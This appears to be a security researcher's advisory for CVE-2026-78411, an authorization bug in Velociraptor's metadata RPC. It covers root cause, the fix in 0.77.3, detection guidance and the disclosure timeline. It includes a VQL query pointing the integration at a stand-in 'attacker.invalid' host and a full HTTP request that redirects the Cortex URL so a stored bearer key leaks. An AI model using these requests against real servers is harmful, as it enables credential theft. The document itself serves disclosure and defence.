← All articles

CVE-2026-78411: Writing Velociraptor Server Metadata Through a Weaker RPC

The VQL path protected reserved server metadata with SERVER_ADMIN, but the RPC accepted the same update with only LABEL_CLIENT.

CVE
CVE-2026-78411
Product
Rapid7 Velociraptor
Affected versions
Linux releases before 0.77.3
Fixed versions
0.77.3
Status
Patched
6.5/ 10

CVSS 3.1 Base score

Medium

Rapid7 (CNA) score
Scoring details

Published vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

CVSS is owned by FIRST and used by permission.

The short version

Velociraptor 0.77.1 exposed two paths to client metadata. The VQL path required SERVER_ADMIN when the target was the reserved server pseudo-client, while the RPC checked only LABEL_CLIENT and forwarded the target unchanged.

An investigator could alter server integration metadata. In the lab, changing only CortexURL preserved an existing CortexKey; the next legitimate Cortex invocation sent that stored bearer secret to a controlled listener. The issue was fixed before 0.77.3 and is tracked as CVE-2026-78411.

At a glance

Field Detail
Tested version Velociraptor 0.77.1, commit 3137c7f71
Fixed version 0.77.3
Vulnerability class Incorrect authorization, CWE-863
Vendor affected range Velociraptor on Linux before 0.77.3
Required access Account with LABEL_CLIENT; tested as investigator
Demonstrated impact Redirection and disclosure of a stored integration secret
Researcher estimate High
Credits Yuval Miller and Leon Kayaliev

Establishing the intended rule

The guarded VQL equivalent was called first:

SELECT client_set_metadata(
  client_id='server',
  metadata=dict(CortexURL='http://attacker.invalid/')) AS Result
FROM scope()

Velociraptor rejected the operation with PermissionDenied: [SERVER_ADMIN]. That established the intended authorization boundary for the reserved server client.

Reproduction through the RPC

Using the same investigator account and an ordinary authenticated GUI session, the equivalent API request targeted the reserved ID:

POST /api/v1/SetClientMetadata HTTP/1.1
Authorization: Basic <investigator credentials>
Cookie: _gorilla_csrf=<cookie>
X-CSRF-Token: <token>
Content-Type: application/json

{"client_id":"server","add":[{"key":"CortexURL","value":"http://127.0.0.1:18080/"}]}

On 0.77.1, the API returned HTTP 200 and the server metadata changed.

For a safe consequence test, an administrator had stored a disposable Cortex key. The investigator changed only the URL, leaving the separate key untouched. When an administrator legitimately invoked the Cortex integration, a loopback listener received a request containing the disposable bearer value.

The actor did not need permission to read metadata or prior knowledge of the key. The test URL and key were removed and the original metadata restored.

Why the disposable secret mattered

Writing metadata proved the policy mismatch, but it did not by itself prove secret disclosure. I used a fresh Cortex key and a loopback listener so the consequence could be demonstrated without exposing a production credential or sending it off-host. Changing only CortexURL was also intentional: it showed that an existing secret could remain unreadable to the actor yet still be released later by a trusted integration.

I treated the VQL denial as the negative control and kept the account, target, and requested field constant across entry points. The consequence test then used a disposable key and a loopback destination so no production credential or off-host receiver was involved.

Root cause

The VQL implementation deliberately changed the required permission to SERVER_ADMIN when client_id == "server". The RPC handler checked only LABEL_CLIENT, did not apply the reserved-ID rule, and forwarded the caller’s ID directly to ClientInfoManager.SetMetadata.

This was a structural authorization bug: two entry points reached the same sensitive operation, but only one enforced the specialized policy.

Source-to-consequence trace

The RPC handler is ApiServer.SetClientMetadata() in api/clients.go. It required LABEL_CLIENT for every target and forwarded in.ClientId to ClientInfoManager.SetMetadata() without recognizing the reserved server ID. By contrast, vql/server/clients/metadata.go changed its required permission to SERVER_ADMIN when the target was constants.VELOCIRAPTOR_SERVER_CLIENT_ID.

The Cortex integration makes the state change security-relevant. artifacts/definitions/Server/Enrichment/CortexAnalyzer.yaml reads CortexURL and CortexKey from server metadata and sends the key as a bearer credential to the configured URL. Changing only the URL therefore redirects a future trusted request while leaving the secret itself unreadable through the attacker’s account.

The code-level minimum is LABEL_CLIENT, held by both stock analyst and investigator roles in the tested tree. The public advisory describes an investigator; the report also identified the weaker permission boundary. The article records both rather than silently choosing one.

Impact boundaries

The demonstrated secret disclosure required a configured integration to run after the metadata change. The live proof used a legitimate administrator invocation. This report did not rely on a separate server-artifact execution bypass and did not claim standalone server-host code execution.

Remediation

Upgrade to Velociraptor 0.77.3 or later. The vendor fix in 1acdba3b adds the reserved-ID SERVER_ADMIN branch to the RPC handler, bringing it in line with the VQL entry point. Enforcing the same invariant inside the shared metadata service would be additional hardening against future callers; it is not where this patch placed the check.

Before upgrading, audit changes to the reserved server client’s metadata and review outbound integration traffic for unexpected destinations.

Detection should join three otherwise ordinary events: a non-administrator changing metadata for the server pseudo-client, a reserved integration URL changing without its corresponding key, and a later outbound request to a new destination. Logging only the final integration request loses the actor who created the redirect; logging only the metadata write loses the disclosed secret’s destination.

Disclosure timeline

Date Event
2026-08-05 Vulnerability reported to Rapid7
2026-10-05 Rapid7 confirmed remediation and closed ticket 140169

References